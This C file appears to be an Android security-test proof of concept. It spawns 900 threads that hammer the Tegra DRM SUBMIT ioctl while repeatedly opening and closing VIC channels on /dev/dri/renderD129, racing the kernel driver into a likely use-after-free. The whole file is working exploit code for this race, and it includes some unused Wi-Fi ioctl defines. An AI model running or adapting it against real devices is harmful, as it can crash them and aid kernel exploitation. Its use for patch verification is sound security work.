1 /* 2 * Copyright (C) 2017 The Android Open Source Project 3 * 4 * Licensed under the Apache License, Version 2.0 (the "License"); 5 * you may not use this file except in compliance with the License. 6 * You may obtain a copy of the License at 7 * 8 * http://www.apache.org/licenses/LICENSE-2.0 9 * 10 * Unless required by applicable law or agreed to in writing, software 11 * distributed under the License is distributed on an "AS IS" BASIS, 12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 * See the License for the specific language governing permissions and 14 * limitations under the License. 15 */ 16 #define _GNU_SOURCE 17 #include <stdio.h> 18 #include <stdlib.h> 19 #include <pthread.h> 20 #include <sys/ioctl.h> 21 #include <errno.h> 22 #include <sys/stat.h> 23 #include <fcntl.h> 24 #include <sched.h> 25 #include <sys/types.h> 26 #include <signal.h> 27 #include <unistd.h> 28 29 #define SUBMIT_THREAD_NUM 900 30 #define TRY_TIMES SUBMIT_THREAD_NUM 31 #define DEV "/dev/dri/renderD129" 32 33 #define SIOCIWFIRSTPRIV 0x8BE0 34 #define SIOCGIWNAME 0x8B01 35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11) 36 #define PRIV_CUSTOM_BWCS_CMD 13 37 #define PRIV_CMD_OID 15 38 #define PRIV_CMD_SW_CTRL 20 39 #define PRIV_CMD_WSC_PROBE_REQ 22 40 41 enum host1x_class { 42 HOST1X_CLASS_HOST1X = 0x1, 43 HOST1X_CLASS_NVENC = 0x21, 44 HOST1X_CLASS_VI = 0x30, 45 HOST1X_CLASS_ISPA = 0x32, 46 HOST1X_CLASS_ISPB = 0x34, 47 HOST1X_CLASS_GR2D = 0x51, 48 HOST1X_CLASS_GR2D_SB = 0x52, 49 HOST1X_CLASS_VIC = 0x5D, 50 HOST1X_CLASS_GR3D = 0x60, 51 HOST1X_CLASS_NVJPG = 0xC0, 52 HOST1X_CLASS_NVDEC = 0xF0, 53 }; 54 55 #define DRM_COMMAND_BASE 0x40 56 #define DRM_COMMAND_END 0xA0 57 58 #define DRM_TEGRA_OPEN_CHANNEL 0x05 59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06 60 #define DRM_TEGRA_SUBMIT 0x08 61 62 struct drm_tegra_open_channel { 63 __u32 client; 64 __u32 pad; 65 volatile __u64 context; 66 }; 67 68 struct drm_tegra_close_channel { 69 volatile __u64 context; 70 }; 71 72 struct drm_tegra_submit { 73 __u64 context; 74 __u32 num_syncpts; 75 __u32 num_cmdbufs; 76 __u32 num_relocs; 77 __u32 num_waitchks; 78 __u32 waitchk_mask; 79 __u32 timeout; 80 __u64 syncpts; 81 __u64 cmdbufs; 82 __u64 relocs; 83 __u64 waitchks; 84 __u32 fence; /* Return value */ 85 __u32 reserved0; 86 __u64 fences; 87 __u32 reserved1[2]; /* future expansion */ 88 }; 89 90 #define DRM_IOCTL_BASE 'd' 91 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type) 92 93 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel) 94 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel) 95 #define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit) 96 97 int fd; 98 pthread_t submit_thread_id[SUBMIT_THREAD_NUM] = { 0 }; 99 100 volatile struct drm_tegra_open_channel open_c = { 0 }; 101 volatile struct drm_tegra_close_channel close_c = { 0 }; 102 volatile struct drm_tegra_submit submit_c = { 0 }; 103 104 static int set_affinity(int num) 105 { 106 int ret = 0; 107 cpu_set_t mask; 108 CPU_ZERO(&mask); 109 CPU_SET(num, &mask); 110 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask); 111 return ret; 112 } 113 114 static void prepare() 115 { 116 open_c.client = HOST1X_CLASS_VIC; 117 } 118 119 void* submit_thread(void* no_use) 120 { 121 set_affinity(1); 122 123 while(1){ 124 ioctl(fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c); 125 } 126 } 127 128 int main() 129 { 130 int i, try_time = TRY_TIMES, ret; 131 132 /* bind_cpu */ 133 set_affinity(0); 134 135 /* open dev */ 136 fd = open(DEV,O_RDONLY); 137 if(fd == -1){ 138 return 0; 139 } 140 141 /* prepare ioctl cmd */ 142 prepare(); 143 144 /* create submit thread */ 145 for(i = 0; i < SUBMIT_THREAD_NUM; i++){ 146 ret = pthread_create(submit_thread_id + i, NULL, submit_thread, NULL); 147 if(ret){ 148 goto out_submit_thread; 149 } 150 } 151 152 while(try_time){ 153 /* open */ 154 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c); 155 if(ret == 0){ 156 try_time--; 157 /* set submit */ 158 submit_c.context = open_c.context; 159 /* set close */ 160 close_c.context = open_c.context; 161 usleep(500); 162 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c); 163 } 164 } 165 166 out_submit_thread: 167 /* kill submit thread */ 168 for(i = 0; i < SUBMIT_THREAD_NUM; i++){ 169 pthread_kill(submit_thread_id[i], SIGKILL); 170 } 171 out_dev: 172 close(fd); 173 return 0; 174 } 175
